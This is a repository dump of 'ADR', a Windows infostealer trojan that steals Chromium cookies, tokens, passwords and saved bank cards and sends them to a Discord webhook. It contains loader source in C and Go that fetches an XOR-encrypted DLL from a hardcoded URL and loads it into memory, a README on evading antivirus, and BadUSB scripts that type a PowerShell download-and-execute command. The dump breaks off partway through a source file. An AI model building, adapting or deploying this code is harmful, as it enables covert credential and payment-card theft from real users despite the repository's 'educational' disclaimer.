├── .gitignore ├── ADR.bin ├── ADR.sln ├── README.md ├── encode.py ├── goloader ├── build.bat ├── go.mod └── main.go ├── loader ├── loader.vcxproj ├── loader.vcxproj.filters ├── loader.vcxproj.user ├── main.c ├── mem │ ├── memod.c │ └── memod.h └── utils.h ├── packer.py ├── payload ├── b64 │ ├── b64.c │ └── b64.h ├── ffs │ ├── linear.c │ └── linear.h ├── main.c ├── pack │ ├── pack.c │ └── pack.h ├── payload.vcxproj ├── payload.vcxproj.filters ├── payload.vcxproj.user ├── stdafx.h ├── utils.c └── utils.h └── unpacker ├── main.c ├── sock ├── sock.c └── sock.h ├── stdafx.h ├── unpack ├── unpack.c └── unpack.h ├── unpacker.filters ├── unpacker.user ├── unpacker.vcxproj └── unpacker.vcxproj.user /.gitignore: -------------------------------------------------------------------------------- 1 | /.vs 2 | /.vscode 3 | /x64 4 | /Release 5 | /Debug 6 | 7 | /loader/x64 8 | /payload/x64 9 | /unpacker/x64 10 | 11 | *.exe -------------------------------------------------------------------------------- /ADR.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/julesgrc0/ADR/b018f38182585c86e66b7715b4793b634ebfc34a/ADR.bin -------------------------------------------------------------------------------- /ADR.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33815.320 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "payload", "payload\payload.vcxproj", "{300537B1-6233-47EA-BAFB-F66E24A26373}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader\loader.vcxproj", "{47A25010-E7D8-4630-8A6D-76778C8EB6F2}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unpacker", "unpacker\unpacker.vcxproj", "{E961312C-2568-49C1-8FC2-21D5CCF46256}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | DebugExe|x64 = DebugExe|x64 17 | DebugExe|x86 = DebugExe|x86 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x64.ActiveCfg = Debug|x64 23 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x64.Build.0 = Debug|x64 24 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x86.ActiveCfg = Debug|Win32 25 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Debug|x86.Build.0 = Debug|Win32 26 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x64.ActiveCfg = DebugExe|x64 27 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x64.Build.0 = DebugExe|x64 28 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x86.ActiveCfg = DebugExe|Win32 29 | {300537B1-6233-47EA-BAFB-F66E24A26373}.DebugExe|x86.Build.0 = DebugExe|Win32 30 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x64.ActiveCfg = Release|x64 31 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x64.Build.0 = Release|x64 32 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x86.ActiveCfg = Release|Win32 33 | {300537B1-6233-47EA-BAFB-F66E24A26373}.Release|x86.Build.0 = Release|Win32 34 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x64.ActiveCfg = Debug|x64 35 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x64.Build.0 = Debug|x64 36 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x86.ActiveCfg = Debug|Win32 37 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Debug|x86.Build.0 = Debug|Win32 38 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x64.ActiveCfg = DebugExe|x64 39 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x64.Build.0 = DebugExe|x64 40 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x86.ActiveCfg = DebugExe|Win32 41 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.DebugExe|x86.Build.0 = DebugExe|Win32 42 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x64.ActiveCfg = Release|x64 43 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x64.Build.0 = Release|x64 44 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x86.ActiveCfg = Release|Win32 45 | {47A25010-E7D8-4630-8A6D-76778C8EB6F2}.Release|x86.Build.0 = Release|Win32 46 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x64.ActiveCfg = Debug|x64 47 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x64.Build.0 = Debug|x64 48 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x86.ActiveCfg = Debug|Win32 49 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Debug|x86.Build.0 = Debug|Win32 50 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x64.ActiveCfg = Debug|x64 51 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x64.Build.0 = Debug|x64 52 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x86.ActiveCfg = Debug|Win32 53 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.DebugExe|x86.Build.0 = Debug|Win32 54 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x64.ActiveCfg = Release|x64 55 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x64.Build.0 = Release|x64 56 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x86.ActiveCfg = Release|Win32 57 | {E961312C-2568-49C1-8FC2-21D5CCF46256}.Release|x86.Build.0 = Release|Win32 58 | EndGlobalSection 59 | GlobalSection(SolutionProperties) = preSolution 60 | HideSolutionNode = FALSE 61 | EndGlobalSection 62 | GlobalSection(ExtensibilityGlobals) = postSolution 63 | SolutionGuid = {BAE24FC4-161C-4A39-BC33-868463AA84C6} 64 | EndGlobalSection 65 | EndGlobal 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ADR 💥 2 | 3 | ADR is a trojan that retrieves all information on the computer and all data stored in applications using chormium. It recovers cookies, tokens, passwords and saved bank cards. This malware is undetectable by Windows Defender, Chrome, Virustotal (~8/72). 4 | 5 | > ⚠️ This project has a strictly educational objective. It aims to provide information, advice and resources in an educational context. I want to emphasize that I do not support or encourage any malicious or damaging use of this information. Any negative or abusive interpretation goes against the educational intent of this project. As the creator of this content, I accept no responsibility for any misuse that may arise from its use. 6 | 7 | 8 | ## loader 9 | 10 | The loader is the entry program that will load ADR (the DLL that contains the malware). 11 | The loader downloads the DLL online, this DLL is encrypted in XOR so as not to be detected by the antivirus. The DLL is then decoded and then injected into the memory of the process to execute the "main" function. 12 | 13 | - download the DLL encode in XOR 14 | - decode the XOR 15 | - loading the DLL into memory (without using LoadLibraryA) 16 | - execution of the "main" function of the ADR malware 17 | 18 | The loader uses a few tricks to avoid being detected by anti-viruses, in particular: 19 | 20 | - hiding suspicious functions using LoadLibrary and GetProcAddress (so imports are hidden and not visible in the executable) 21 | - the masking of character strings, the url at which the payload is located, encrypt in XOR so as not to be readable in the executable directly 22 | - optimization of compiler parameters and compression with UPX 23 | - to make it possible to hide the imports even more, if we do not have an executable heavier in KB, we can change the Runtime Library. Indeed, switching from Multi-threaded DLL mode (/MD) to Multi-threaded mode (/MT) hides all imports (with UPX). However, it takes about 40 KB more than the Multi-threaded DLL version. 24 | 25 | ## payload 26 | 27 | The payload is compiled in DLL, encoded in XOR, then uploaded to a server to be loaded later by the loader. 28 | the main function is the entry point of the malware, this function aims to: 29 | 30 | - scan Windows AppData folder for folder using Chromium file structure 31 | - recover all cookies, tokens, passwords, local state, credit card, history and autocompletion 32 | - find all the information on the machine used 33 | - MAC Address 34 | - Public IP 35 | - Processor 36 | - Architecture 37 | - Storage 38 | - Local Time 39 | - Language 40 | - Machine Name 41 | - all this data is then compressed into a Zip file which will be sent to a discord webhook (obviously this data can be sent to any public server or webhook). 42 | 43 | ## go loader 44 | 45 | go loader is the Golang version of the loader. With this version we reached the score of 4/71 detection on virustotal. This results and largely due to the obfuscator: garble, which allowed this incredible result. The golang code does not change much from the C version, loading the DLL into memory reuses the C code from the loader and is compiled with CGO. 46 | 47 | > why no compression with UPX? 48 | 49 | gARD will not decompress with UPX because it is much more detectable with compression enabled. The goloader.exe pyaload is therefore heavier (5 MB). 50 | 51 | > Compile with Garble 52 | 53 | ```cmd 54 | @REM install it: go install mvdan.cc/garble@latest 55 | @REM build: 56 | 57 | build.bat 58 | ``` 59 | 60 | ## AntiVirus Detection 61 | 62 | | Name | ✅ | ❌ | ❔ | 63 | | :-----------: | :------------------------------------------------: | :------------------------------------------------: | :-------------------: | 64 | | payload (xor) | Windows Defender, Chrome AV, Manalyzer, Virustotal | | | 65 | | pyload (dll) | - | Virustotal, Windows Defender, Chrome AV, Manalyzer | - | 66 | | loader (exe) | Windows Defender, Chrome AV | - | Virustotal, Manalyzer | 67 | | loader (go) | Windows Defender, Chrome AV | Virustotal,Manalyzer | - | 68 | 69 | ## UPX Compression 70 | 71 | ADR files are compressed with UPX to reduce the size of the payload. 72 | 73 | | Name | Runtime Lib | Size | Compressed Size | 74 | | :----------: | :---------: | :----: | :-------------: | 75 | | pyload (dll) | /MD | 15 ko | 10 ko | 76 | | loader (exe) | /MT | 114 ko | 54 ko | 77 | | loader (exe) | /MD | 17 ko | 10.5 ko | 78 | 79 | 80 | 81 | ## Bonus BadUSB 82 | 83 | **Digispark Rev.3 Kickstarter with Attiny85 and USB compatible with Arduino** 84 | 85 | You can buy it [here](https://www.az-delivery.de/en/products/digispark-board). 86 | 87 | > DuckyScript 88 | 89 | ``` 90 | DELAY 1000 91 | GUI r 92 | DELAY 200 93 | STRING powershell -command "(New-Object Net.WebClient).DownloadFile('https://github.com/julesgrc0/ADR/releases/download/0.0.3/bADR.exe','%userprofile%\ADR.exe');(New-Object -com shell.application).shellexecute('%userprofile%\ADR.exe');exit" 94 | ENTER 95 | ``` 96 | 97 | > Arduino C/C++ Code 98 | 99 | ```cpp 100 | #include "Keyboard.h" 101 | 102 | void typeKey(uint8_t key) 103 | { 104 | Keyboard.press(key); 105 | delay(50); 106 | Keyboard.release(key); 107 | } 108 | 109 | 110 | void setup() 111 | { 112 | Keyboard.begin(); 113 | delay(500); 114 | 115 | delay(1000); 116 | Keyboard.press(KEY_LEFT_GUI); 117 | Keyboard.press('r'); 118 | Keyboard.releaseAll(); 119 | 120 | delay(200); 121 | Keyboard.print(F("powershell -command \"(New-Object Net.WebClient).DownloadFile('https://github.com/julesgrc0/ADR/releases/download/0.0.3/bADR.exe','%userprofile%\\ADR.exe');(New-Object -com shell.application).shellexecute('%userprofile%\\ADR.exe');exit\"")); 122 | 123 | typeKey(KEY_RETURN); 124 | 125 | Keyboard.end(); 126 | } 127 | 128 | void loop() {} 129 | ``` 130 | -------------------------------------------------------------------------------- /encode.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | import os 4 | 5 | def b64(inpath: str) -> None: 6 | key = "=ADR=".encode("utf-8") 7 | outpath = os.path.dirname(inpath) + "\\ADR.b64" 8 | print(f"{inpath} => {outpath}") 9 | 10 | with open(inpath,"rb") as file: 11 | data = base64.encodebytes(file.read()) 12 | file.close() 13 | 14 | with open(outpath, "wb") as file: 15 | file.write(key) 16 | file.write(data) 17 | file.close() 18 | 19 | def bin(inpath: str) -> None: 20 | key = ord('A') 21 | outpath = os.path.dirname(inpath) + "\\ADR.bin" 22 | print(f"{inpath} => {outpath}") 23 | 24 | with open(inpath,"rb") as file: 25 | encoded = bytearray() 26 | for c in file.read(): 27 | encoded.append(c ^ key) 28 | 29 | with open(outpath, "wb") as file: 30 | file.write(encoded) 31 | file.close() 32 | 33 | def xor_str(data: str, key: str): 34 | encoded = ''.join([chr(ord(char) ^ ord(key)) for char in data]) 35 | for char in encoded: 36 | hex_value = hex(ord(char))[2:].zfill(2) 37 | print(f"0x{hex_value}", end=', ') 38 | 39 | def main(args: list[str]) -> int: 40 | if len(args) < 1: 41 | return 1 42 | 43 | inpath = sys.argv[1] 44 | if not os.path.exists(inpath): 45 | xor_str(inpath, 'A') 46 | return 1 47 | 48 | # b64(inpath) 49 | bin(inpath) 50 | 51 | return 0 52 | 53 | if __name__ == "__main__": 54 | sys.exit(main(sys.argv[1:])) -------------------------------------------------------------------------------- /goloader/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | @REM && upx --best main.exe 3 | 4 | if exist goloader.exe ( 5 | del goloader.exe 6 | ) 7 | garble build -ldflags "-s -w" main && rename main.exe goloader.exe -------------------------------------------------------------------------------- /goloader/go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | go 1.21.0 -------------------------------------------------------------------------------- /goloader/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // #cgo CFLAGS: -I"../loader/mem/" 4 | // #cgo LDFLAGS: -L"../loader/mem/" 5 | // #include "memod.h" 6 | import "C" 7 | 8 | import ( 9 | "io" 10 | "net/http" 11 | "syscall" 12 | "unsafe" 13 | ) 14 | 15 | func DecodeXor(in []byte, key byte) { 16 | for i := 0; i < len(in); i++ { 17 | in[i] ^= key 18 | } 19 | } 20 | 21 | func GetPayload(url string) ([]byte, bool) { 22 | resp, err := http.Get(url) 23 | if err != nil { 24 | return nil, false 25 | } 26 | defer resp.Body.Close() 27 | 28 | payload, err := io.ReadAll(resp.Body) 29 | if err != nil { 30 | return nil, false 31 | } 32 | 33 | return payload, true 34 | } 35 | 36 | func main() { 37 | 38 | xorKey := byte('A') 39 | url := []byte{ 40 | 0x29, 0x35, 0x35, 0x31, 0x32, 0x7b, 0x6e, 0x6e, 0x26, 0x28, 0x35, 0x29, 41 | 0x34, 0x23, 0x6f, 0x22, 0x2e, 0x2c, 0x6e, 0x2b, 0x34, 0x2d, 0x24, 42 | 0x32, 0x26, 0x33, 0x22, 0x71, 0x6e, 0x00, 0x05, 0x13, 0x6e, 0x33, 43 | 0x20, 0x36, 0x6e, 0x2c, 0x20, 0x28, 0x2f, 0x6e, 0x00, 0x05, 0x13, 44 | 0x6f, 0x23, 0x28, 0x2f, 45 | } 46 | 47 | DecodeXor(url, xorKey) 48 | payload, result := GetPayload(string(url)) 49 | if !result { 50 | return 51 | } 52 | 53 | DecodeXor(payload, xorKey) 54 | handle := C.MemoryLoadLibrary(unsafe.Pointer(&payload[0]), C.ulonglong(len(payload))) 55 | if handle == nil { 56 | return 57 | } 58 | 59 | cname := C.CString("main") 60 | defer C.free(unsafe.Pointer(cname)) 61 | 62 | addr := unsafe.Pointer(C.MemoryGetProcAddress(handle, cname)) 63 | syscall.SyscallN(uintptr(addr), uintptr(0), 0, 0, 0) 64 | 65 | C.MemoryFreeLibrary(handle) 66 | 67 | if addr == nil { 68 | return 69 | } 70 | return 71 | } 72 | -------------------------------------------------------------------------------- /loader/loader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | DebugExe 6 | Win32 7 | 8 | 9 | DebugExe 10 | x64 11 | 12 | 13 | Debug 14 | Win32 15 | 16 | 17 | Release 18 | Win32 19 | 20 | 21 | Debug 22 | x64 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 16.0 39 | Win32Proj 40 | {47a25010-e7d8-4630-8a6d-76778c8eb6f2} 41 | bADR 42 | 10.0 43 | loader 44 | 45 | 46 | 47 | Application 48 | true 49 | v143 50 | Unicode 51 | 52 | 53 | Application 54 | true 55 | v143 56 | Unicode 57 | 58 | 59 | Application 60 | false 61 | v143 62 | true 63 | Unicode 64 | 65 | 66 | Application 67 | true 68 | v143 69 | Unicode 70 | 71 | 72 | Application 73 | true 74 | v143 75 | Unicode 76 | 77 | 78 | Application 79 | false 80 | v143 81 | true 82 | Unicode 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | false 110 | 111 | 112 | true 113 | 114 | 115 | true 116 | 117 | 118 | true 119 | 120 | 121 | true 122 | 123 | 124 | true 125 | 126 | 127 | false 128 | 129 | 130 | false 131 | false 132 | false 133 | 134 | 135 | 136 | Level3 137 | true 138 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 139 | true 140 | stdcpplatest 141 | stdc17 142 | 143 | 144 | Windows 145 | true 146 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) 147 | 148 | 149 | 150 | 151 | Level3 152 | true 153 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_DEBUG_EXE 154 | true 155 | stdcpplatest 156 | stdc17 157 | 158 | 159 | Windows 160 | true 161 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) 162 | 163 | 164 | 165 | 166 | Level3 167 | true 168 | true 169 | true 170 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 171 | true 172 | stdcpplatest 173 | stdc17 174 | 175 | 176 | Windows 177 | true 178 | true 179 | true 180 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) 181 | 182 | 183 | 184 | 185 | Level3 186 | true 187 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 188 | true 189 | stdcpplatest 190 | stdc17 191 | 192 | 193 | Windows 194 | true 195 | $(CoreLibraryDependencies);%(AdditionalDependencies) 196 | 197 | 198 | 199 | 200 | Level3 201 | true 202 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_DEBUG_EXE 203 | true 204 | stdcpplatest 205 | stdc17 206 | 207 | 208 | Windows 209 | true 210 | $(CoreLibraryDependencies);%(AdditionalDependencies) 211 | 212 | 213 | 214 | 215 | Level3 216 | true 217 | true 218 | false 219 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions);UPX 220 | false 221 | Default 222 | Default 223 | MinSpace 224 | Disabled 225 | Size 226 | true 227 | true 228 | false 229 | true 230 | None 231 | Sync 232 | None 233 | CompileAsC 234 | true 235 | MultiThreadedDLL 236 | 237 | 238 | Windows 239 | false 240 | true 241 | false 242 | $(CoreLibraryDependencies);%(AdditionalDependencies) 243 | false 244 | PromptImmediately 245 | true 246 | false 247 | false 248 | 249 | 250 | upx --best $(TargetPath) && python $(SolutionDir)packer.py $(TargetPath) 251 | 252 | 253 | 254 | 255 | 256 | -------------------------------------------------------------------------------- /loader/loader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /loader/loader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | -------------------------------------------------------------------------------- /loader/main.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #define _CRTDBG_MAP_ALLOC 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | #ifdef _DEBUG or _DEBUG_EXE 13 | #include 14 | #endif // _DEBUG or _DEBUG_EXE 15 | 16 | #include "mem/memod.h" 17 | #include "utils.h" 18 | 19 | 20 | typedef int(CALLBACK* DLL_FUNCTION)(); 21 | 22 | #define ADR_XOR_KEY 'A' 23 | #define ADR_XOR_LEN 50 24 | // XOR_SIZE => 50 = 49 + 1 (\0 end of string) 25 | 26 | #define ADR_XOR_URL \ 27 | { \ 28 | 0x29, 0x35, 0x35, 0x31, 0x32, 0x7b, 0x6e, 0x6e, 0x26, 0x28, 0x35, 0x29, \ 29 | 0x34, 0x23, 0x6f, 0x22, 0x2e, 0x2c, 0x6e, 0x2b, 0x34, 0x2d, 0x24, \ 30 | 0x32, 0x26, 0x33, 0x22, 0x71, 0x6e, 0x00, 0x05, 0x13, 0x6e, 0x33, \ 31 | 0x20, 0x36, 0x6e, 0x2c, 0x20, 0x28, 0x2f, 0x6e, 0x00, 0x05, 0x13, \ 32 | 0x6f, 0x23, 0x28, 0x2f, 0x41 \ 33 | } 34 | // XOR => https://github.com/julesgrc0/ADR/raw/main/ADR.bin 35 | 36 | 37 | 38 | bool GetPayload(const char* url, char** payload, size_t* payload_size) 39 | { 40 | HINTERNET hInternet = hide_InternetOpenA("ADR", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 41 | if (hInternet == NULL) return false; 42 | 43 | HINTERNET hConnect = hide_InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); 44 | if (hConnect == NULL) 45 | { 46 | hide_InternetCloseHandle(hInternet); 47 | return false; 48 | } 49 | 50 | const DWORD bufferSize = 8192; 51 | DWORD bytesRead = 0; 52 | DWORD totalBytesRead = 0; 53 | char* buffer = (char*)malloc(bufferSize); 54 | 55 | if (buffer == NULL) 56 | { 57 | hide_InternetCloseHandle(hConnect); 58 | hide_InternetCloseHandle(hInternet); 59 | return false; 60 | } 61 | 62 | size_t currentOffset = 0; 63 | char* tempPayload = NULL; 64 | 65 | while (hide_InternetReadFile(hConnect, buffer, bufferSize, &bytesRead) && bytesRead > 0) 66 | { 67 | tempPayload = (char*)realloc(tempPayload, totalBytesRead + bytesRead); 68 | if (tempPayload == NULL) 69 | { 70 | free(buffer); 71 | hide_InternetCloseHandle(hConnect); 72 | hide_InternetCloseHandle(hInternet); 73 | return false; 74 | } 75 | 76 | memcpy(tempPayload + currentOffset, buffer, bytesRead); 77 | currentOffset += bytesRead; 78 | totalBytesRead += bytesRead; 79 | } 80 | 81 | free(buffer); 82 | *payload = tempPayload; 83 | *payload_size = totalBytesRead; 84 | 85 | hide_InternetCloseHandle(hConnect); 86 | hide_InternetCloseHandle(hInternet); 87 | return true; 88 | } 89 | 90 | /* 91 | bool SelfDelete() 92 | { 93 | SHELLEXECUTEINFO sei; 94 | 95 | char szModule[MAX_PATH]; 96 | char szComspec[MAX_PATH]; 97 | char szParams[MAX_PATH]; 98 | 99 | if ((GetModuleFileNameA(0, szModule, MAX_PATH) != 0) && 100 | (GetShortPathNameA(szModule, szModule, MAX_PATH) != 0) && 101 | (GetEnvironmentVariableA("COMSPEC", szComspec, MAX_PATH) != 0)) 102 | { 103 | 104 | strcpy(szParams, "/c del "); 105 | strcat(szParams, szModule); 106 | strcat(szParams, " > nul"); 107 | 108 | sei.cbSize = sizeof(sei); 109 | sei.hwnd = 0; 110 | sei.lpVerb = "Open"; 111 | sei.lpFile = szComspec; 112 | sei.lpParameters = szParams; 113 | sei.lpDirectory = 0; 114 | sei.nShow = SW_HIDE; 115 | sei.fMask = SEE_MASK_NOCLOSEPROCESS; 116 | 117 | SetPriorityClass(GetCurrentProcess(), 118 | REALTIME_PRIORITY_CLASS); 119 | SetThreadPriority(GetCurrentThread(), 120 | THREAD_PRIORITY_TIME_CRITICAL); 121 | 122 | if (ShellExecuteExA(&sei)) 123 | { 124 | SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS); 125 | SetProcessPriorityBoost(sei.hProcess, TRUE); 126 | 127 | SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0); 128 | 129 | return true; 130 | } 131 | else 132 | { 133 | SetPriorityClass(GetCurrentProcess(), 134 | NORMAL_PRIORITY_CLASS); 135 | SetThreadPriority(GetCurrentThread(), 136 | THREAD_PRIORITY_NORMAL); 137 | } 138 | } 139 | return false; 140 | } 141 | */ 142 | 143 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ char* pCmdLine, _In_ int nCmdShow) 144 | { 145 | #ifdef _DEBUG or _DEBUG_EXE 146 | _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); 147 | 148 | if (AllocConsole()) 149 | { 150 | FILE* fDummy; 151 | freopen_s(&fDummy, "CONOUT$", "w", stdout); 152 | freopen_s(&fDummy, "CONOUT$", "w", stderr); 153 | freopen_s(&fDummy, "CONIN$", "r", stdin); 154 | 155 | fflush(stdout); 156 | fflush(stderr); 157 | fflush(stdin); 158 | } 159 | 160 | FILE* file = fopen("D:\\dev\\repos\\project\\software\\ADR\\x64\\Release\\ADR.bin", "rb"); 161 | if (file == NULL) return EXIT_FAILURE; 162 | 163 | fseek(file, 0, SEEK_END); 164 | long payloadSize = ftell(file); 165 | fseek(file, 0, SEEK_SET); 166 | 167 | char* payload = (char*)malloc(payloadSize); 168 | if (payload == NULL) 169 | { 170 | fclose(file); 171 | return EXIT_FAILURE;; 172 | } 173 | 174 | fread(payload, sizeof(char), payloadSize, file); 175 | fclose(file); 176 | #else 177 | char url[ADR_XOR_LEN] = ADR_XOR_URL; 178 | DecodeXor(url, ADR_XOR_LEN, ADR_XOR_KEY); 179 | 180 | char* payload = (char*)malloc(0); 181 | size_t payloadSize = 0; 182 | 183 | if (!GetPayload(url, &payload, &payloadSize)) return EXIT_FAILURE; 184 | #endif // _DEBUG or _DEBUG_EXE 185 | 186 | DecodeXor(payload, payloadSize, ADR_XOR_KEY); 187 | 188 | HMEMORYMODULE handle = MemoryLoadLibrary(payload, payloadSize); 189 | if (!handle) return EXIT_FAILURE; 190 | free(payload); 191 | 192 | DLL_FUNCTION main = (DLL_FUNCTION)MemoryGetProcAddress(handle, "main"); 193 | if (!main) return EXIT_FAILURE; 194 | 195 | main(); 196 | 197 | MemoryFreeLibrary(handle); 198 | 199 | #ifdef _DEBUG or _DEBUG_EXE 200 | _CrtDumpMemoryLeaks(); 201 | #endif // _DEBUG or _DEBUG_EXE 202 | 203 | //SelfDelete(); 204 | return EXIT_SUCCESS; 205 | } -------------------------------------------------------------------------------- /loader/mem/memod.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #include "memod.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #if _MSC_VER 10 | #include "../utils.h" 11 | 12 | #pragma warning(disable : 4055) 13 | #pragma warning(error : 4244) 14 | #pragma warning(error : 4267) 15 | #define inline __inline 16 | #endif 17 | 18 | #ifndef IMAGE_SIZEOF_BASE_RELOCATION 19 | #define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION)) 20 | #endif 21 | 22 | #ifdef _WIN64 23 | #define HOST_MACHINE IMAGE_FILE_MACHINE_AMD64 24 | #else 25 | #define HOST_MACHINE IMAGE_FILE_MACHINE_I386 26 | #endif 27 | 28 | struct ExportNameEntry { 29 | LPCSTR name; 30 | WORD idx; 31 | }; 32 | 33 | typedef BOOL(WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, 34 | LPVOID lpReserved); 35 | typedef int(WINAPI *ExeEntryProc)(void); 36 | 37 | #ifdef _WIN64 38 | typedef struct POINTER_LIST { 39 | struct POINTER_LIST *next; 40 | void *address; 41 | } POINTER_LIST; 42 | #endif 43 | 44 | typedef struct { 45 | PIMAGE_NT_HEADERS headers; 46 | unsigned char *codeBase; 47 | HCUSTOMMODULE *modules; 48 | int numModules; 49 | BOOL initialized; 50 | BOOL isDLL; 51 | BOOL isRelocated; 52 | CustomAllocFunc alloc; 53 | CustomFreeFunc free; 54 | CustomLoadLibraryFunc loadLibrary; 55 | CustomGetProcAddressFunc getProcAddress; 56 | CustomFreeLibraryFunc freeLibrary; 57 | struct ExportNameEntry *nameExportsTable; 58 | void *userdata; 59 | ExeEntryProc exeEntry; 60 | DWORD pageSize; 61 | #ifdef _WIN64 62 | POINTER_LIST *blockedMemory; 63 | #endif 64 | } MEMORYMODULE, *PMEMORYMODULE; 65 | 66 | typedef struct { 67 | LPVOID address; 68 | LPVOID alignedAddress; 69 | SIZE_T size; 70 | DWORD characteristics; 71 | BOOL last; 72 | } SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA; 73 | 74 | #define GET_HEADER_DICTIONARY(module, idx) \ 75 | &(module)->headers->OptionalHeader.DataDirectory[idx] 76 | 77 | static inline uintptr_t AlignValueDown(uintptr_t value, uintptr_t alignment) { 78 | return value & ~(alignment - 1); 79 | } 80 | 81 | static inline LPVOID AlignAddressDown(LPVOID address, uintptr_t alignment) { 82 | return (LPVOID)AlignValueDown((uintptr_t)address, alignment); 83 | } 84 | 85 | static inline size_t AlignValueUp(size_t value, size_t alignment) { 86 | return (value + alignment - 